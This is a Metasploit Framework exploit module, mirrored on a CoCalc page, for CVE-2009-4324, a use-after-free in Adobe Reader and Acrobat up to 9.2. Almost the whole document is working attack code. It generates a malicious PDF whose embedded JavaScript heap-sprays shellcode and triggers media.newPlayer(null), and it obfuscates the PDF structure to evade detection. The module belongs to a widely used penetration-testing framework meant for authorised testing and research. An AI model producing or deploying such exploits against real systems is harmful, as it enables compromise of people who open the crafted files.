CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_media_newplayer.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
16
'Description' => %q{
17
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
18
Professional versions up to and including 9.2.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'unknown', # Found in the wild
24
# Metasploit version by:
25
'hdm',
26
'pusscat',
27
'jduck'
28
],
29
'References' =>
30
[
31
[ 'CVE', '2009-4324' ],
32
[ 'BID', '37331' ],
33
[ 'OSVDB', '60980' ]
34
],
35
'DefaultOptions' =>
36
{
37
'EXITFUNC' => 'process',
38
'DisablePayloadHandler' => true
39
},
40
'Payload' =>
41
{
42
'Space' => 1024,
43
'BadChars' => "\x00",
44
'DisableNops' => true
45
},
46
'Platform' => 'win',
47
'Targets' =>
48
[
49
# test results (on Windows XP SP3)
50
# reader 6.0.1 - vulnerable / doesn't work
51
# reader 7.0.5 - untested
52
# reader 7.0.8 - untested
53
# reader 7.0.9 - vulnerable / doesn't work
54
# reader 7.1.0 - untested
55
# reader 7.1.1 - untested
56
# reader 8.0.0 - untested
57
# reader 8.1.1 - works
58
# reader 8.1.2 - untested
59
# reader 8.1.3 - untested
60
# reader 8.1.4 - untested
61
# reader 8.1.5 - untested
62
# reader 8.1.6 - untested
63
# reader 9.0.0 - untested
64
# reader 9.1.0 - works
65
# reader 9.2 - works (no debugger, no DEP)
66
[ 'Adobe Reader Windows English (JS Heap Spray)',
67
{
68
'Size' => (0x10000/2),
69
'Ret' => 0x0c0c0c0c,
70
}
71
],
72
[ 'Adobe Reader Windows German (JS Heap Spray)',
73
{
74
'Size' => (0x10000/2),
75
'Ret' => 0x0a0a0a0a,
76
}
77
],
78
],
79
'DisclosureDate' => '2009-12-14',
80
'DefaultTarget' => 0))
81
82
register_options(
83
[
84
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
85
])
86
87
end
88
89
def exploit
90
91
# Encode the shellcode.
92
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
93
94
# Make some nops
95
nops = Rex::Text.to_unescape([target.ret].pack('V'))
96
97
# Randomize variables
98
#
99
len = 72
100
rand1 = rand_text_alpha(rand(100) + 1)
101
rand2 = rand_text_alpha(rand(100) + 1)
102
rand3 = rand_text_alpha(rand(100) + 1)
103
rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
104
rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
105
106
vtbuf = [target.ret].pack('V') * 4
107
vtbuf << rand_text_alpha(len - vtbuf.length)
108
vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
109
retstring = Rex::Text.to_unescape(vtbuf)
110
111
# The printd strings are 72 bytes (??)
112
script = %Q|
113
var #{rand1} = unescape("#{shellcode}");
114
var #{rand2} = unescape("#{nops}");
115
var #{rand3} = unescape("#{retstring}");
116
117
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
118
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
119
120
memory=new Array();
121
122
for(i=0;i<0x2000;i++) {
123
memory[i]= #{rand2} + #{rand1};
124
}
125
126
util.printd("#{rand4}", new Date());
127
util.printd("#{rand5}", new Date());
128
try {this.media.newPlayer(null);} catch(e) {}
129
util.printd(#{rand3}, new Date());
130
|
131
132
# Create the pdf
133
pdf = make_pdf(script)
134
135
print_status("Creating '#{datastore['FILENAME']}' file...")
136
137
file_create(pdf)
138
139
end
140
141
142
def random_non_ascii_string(count)
143
result = ""
144
count.times do
145
result << (rand(128) + 128).chr
146
end
147
result
148
end
149
150
def io_def(id)
151
"%d 0 obj" % id
152
end
153
154
def io_ref(id)
155
"%d 0 R" % id
156
end
157
158
159
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
160
def n_obfu(str)
161
result = ""
162
str.scan(/./u) do |c|
163
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
164
result << "#%x" % c.unpack("C*")[0]
165
else
166
result << c
167
end
168
end
169
result
170
end
171
172
173
def ascii_hex_whitespace_encode(str)
174
result = ""
175
whitespace = ""
176
str.each_byte do |b|
177
result << whitespace << "%02x" % b
178
whitespace = " " * (rand(3) + 1)
179
end
180
result << ">"
181
end
182
183
184
def make_pdf(js)
185
186
xref = []
187
eol = "\x0d\x0a"
188
endobj = "endobj" << eol
189
190
pdf = "%PDF-1.5" << eol
191
pdf << "%" << random_non_ascii_string(4) << eol
192
xref << pdf.length
193
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
194
xref << pdf.length
195
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
196
xref << pdf.length
197
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
198
xref << pdf.length
199
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
200
xref << pdf.length
201
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
202
xref << pdf.length
203
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
204
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
205
pdf << "stream" << eol
206
pdf << compressed << eol
207
pdf << "endstream" << eol
208
pdf << endobj
209
xrefPosition = pdf.length
210
pdf << "xref" << eol
211
pdf << "0 %d" % (xref.length + 1) << eol
212
pdf << "0000000000 65535 f" << eol
213
xref.each do |index|
214
pdf << "%010d 00000 n" % index << eol
215
end
216
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
217
pdf << "startxref" << eol
218
pdf << xrefPosition.to_s() << eol
219
pdf << "%%EOF" << eol
220
221
end
222
end
223
224